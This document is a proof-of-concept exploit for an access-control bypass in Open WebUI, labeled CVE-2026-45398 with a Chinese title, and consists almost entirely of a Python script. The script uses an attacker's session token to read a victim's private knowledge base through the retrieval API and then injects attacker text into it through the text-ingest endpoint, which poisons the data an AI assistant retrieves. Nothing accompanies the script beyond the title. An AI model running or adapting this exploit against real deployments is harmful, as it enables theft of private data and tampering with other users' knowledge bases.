CVE-2026-45398 Open WebUI访问控制绕过漏洞

import requests # Target configuration target_url = "http://localhost:3000" knowledge_base_uuid = "<TARGET_KNOWLEDGE_BASE_UUID>" # UUID of the victim's knowledge base attacker_session_cookie = "<ATTACKER_SESSION_TOKEN>" headers = { "Authorization": f"Bearer {attacker_session_cookie}", "Content-Type": "application/json" } # 1. Read content from private knowledge base (Retrieval) read_payload = { "collection_name": knowledge_base_uuid, "query": "test query" } print("[*] Attempting to read private knowledge base...") response = requests.post(f"{target_url}/api/v1/retrieval", json=read_payload, headers=headers) if response.status_code == 200: print(f"[+] Success! Leaked data: {response.json()}") else: print(f"[-] Failed with status: {response.status_code}") # 2. Inject/Overwrite content (Write) write_payload = { "collection_name": knowledge_base_uuid, "text": "Malicious content injected by attacker", "mode": "ingest" } print("\n[*] Attempting to inject malicious content...") response = requests.post(f"{target_url}/api/v1/process/text", json=write_payload, headers=headers) if response.status_code == 200: print(f"[+] Success! Content injected.") else: print(f"[-] Failed with status: {response.status_code}")